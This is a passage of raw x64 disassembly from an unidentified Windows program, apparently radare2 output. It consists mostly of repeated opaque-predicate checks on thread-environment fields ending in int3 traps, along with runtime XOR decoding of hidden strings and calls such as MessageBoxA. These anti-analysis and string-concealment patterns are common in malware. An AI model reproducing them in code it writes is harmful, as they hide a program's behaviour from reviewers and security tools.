xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eaa1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eaa1
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002eac1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb240]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400fb0a0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xd7fe50a4
mov dword [rbp + 0xbec], 0x5e1d14f4
mov dword [rbp + 0xbf0], 0xba5a5210
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14003cbe4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14002eb14
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400142e8
mov rax, qword gs:[0x3a]
cmp rax, r12
mov r13d, 0xccc29034
jne 0x14002ec12
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ebf2
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ebf2
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ec12
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002ecbc
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ec9c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ec9c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ecbc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rcx, [rbp + 0x9f8]
call fcn.14002d130
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.1400143f8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14003dd00
lea rcx, [rbp + 0x9f8]
call fcn.14003dc3c
lea rcx, [rbp + 0x9f8]
call fcn.140014908
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002edc3
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002eda3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002eda3
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002edc3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002ee7c
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ee5c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ee5c
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ee7c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov dword [rbp - 0x68], 0x4b4977e5
mov word [rbp - 0x64], 0x7f38
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14003cb6c
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14002ee9b
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0x4b4965fc
mov word [rbp - 0x54], 0x7f38
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov r13d, 0xccc29034
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14003cb6c
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002eeef
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14003df70
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14003d948
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003da9c
lea rcx, [rbp - 0x68]
call fcn.140014450
mov rcx, rax
call fcn.1400143f8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14003d788
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003da9c
lea rdx, [0x140121720]
lea rcx, [rbp + 0xa78]
call fcn.14003d948
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003da9c
lea rcx, [rbp + 0xa78]
call fcn.14003dc3c
lea rcx, [rbp + 0xa78]
call fcn.140014908
lea rcx, [rbp + 0xa58]
call fcn.14003dc3c
lea rcx, [rbp + 0xa58]
call fcn.140014908
lea rcx, [rbp + 0xa38]
call fcn.14003dc3c
lea rcx, [rbp + 0xa38]
call fcn.140014908
mov rax, qword gs:[0x3a]
cmp rax, r12
movabs r14, 0x8891115eabfcc5c6
jne 0x14002f0a4
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f084
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f084
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f0a4
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f14e
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f12e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f12e
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f14e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rcx, [rbp + 0x1208]
call fcn.14003d5b0
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.1400a39d0
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f221
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f201
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f201
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f221
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f2cb
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f2ab
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f2ab
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f2cb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.1400143a0
lea rcx, [rbp + 0x10e8]
call fcn.14003dcd8
nop
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f392
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f372
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f372
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f392
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f44b
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f42b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f42b
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f44b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rcx, [rbp + 0x11e8]
call fcn.14003d5b0
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14002cc98
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f516
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f4f6
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f4f6
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f516
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov dword [rbp + 0x1e0], 0x917416da
mov dword [rbp + 0x1e4], 0x93b49de5
mov dword [rbp + 0x1e8], 0x6977b372
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.14003caf4
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002f549
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14003e28c
test al, al
movabs r14, 0x8891115eabfcc5c6
je 0x14002fb24
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f653
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f633
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f633
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f653
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb0f0]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0xccd2a9b1
mov word [rbp + 0x7cc], 0x6c4
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.14003ca08
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002f68b
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400fb0d0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400fb1d0]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400fb120]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400fb040]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400fb250]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400fb0b0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400fb160]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400fb190]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x871edda5
mov word [rbp + 0xde4], 0xbc60
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov r13d, 0xccc29034
movabs r14, 0x1647a34f3
mov qword [rsp + 0x20], r14
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14003ca7c
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x14002f774
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x3a]
cmp rcx, r12
movabs r14, 0x8891115eabfcc5c6
jne 0x14002f884
mov rcx, qword gs:[0x19]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x19]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x19]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f864
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f864
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f884
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f93d
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f91d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f91d
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f93d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
cmp edi, 7
je 0x14003c77b
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002f9f0
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002f9d0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002f9d0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f9f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400a2aa8
int3
movdqa xmm0, xmmword [0x1400fb210]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400fb110]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400fafa0]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
movabs r13, 0x1647a34f3
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.14003c994
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002fa2d
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.1400a6efc
mov rax, qword gs:[0x3a]
cmp rax, r12
mov r13d, 0xccc29034
jne 0x14002fb24
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fb04
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fb04
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fb24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002fbdd
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fbbd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fbbd
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fbdd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14003daf8
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14002d278
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14003d9d4
lea rcx, [rbp + 0xab8]
call fcn.14003dc3c
lea rcx, [rbp + 0xab8]
call fcn.140014908
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002fcd0
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fcb0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fcb0
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fcd0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002fd89
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fd69
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fd69
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fd89
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14003dcac
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002fe41
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002fe21
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002fe21
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fe41
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x14002fefa
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002feda
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002feda
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002fefa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a736c
mov rsi, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x3a]
cmp rcx, r12
jne 0x14002ffc8
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov eax, 0x41c1d7e
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x19]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ffa8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ffa8
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ffc8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x140030072
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140030052
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140030052
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140030072
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400a2aa8
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x3a]
cmp rax, r12
jne 0x140030123
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x19]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x19]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
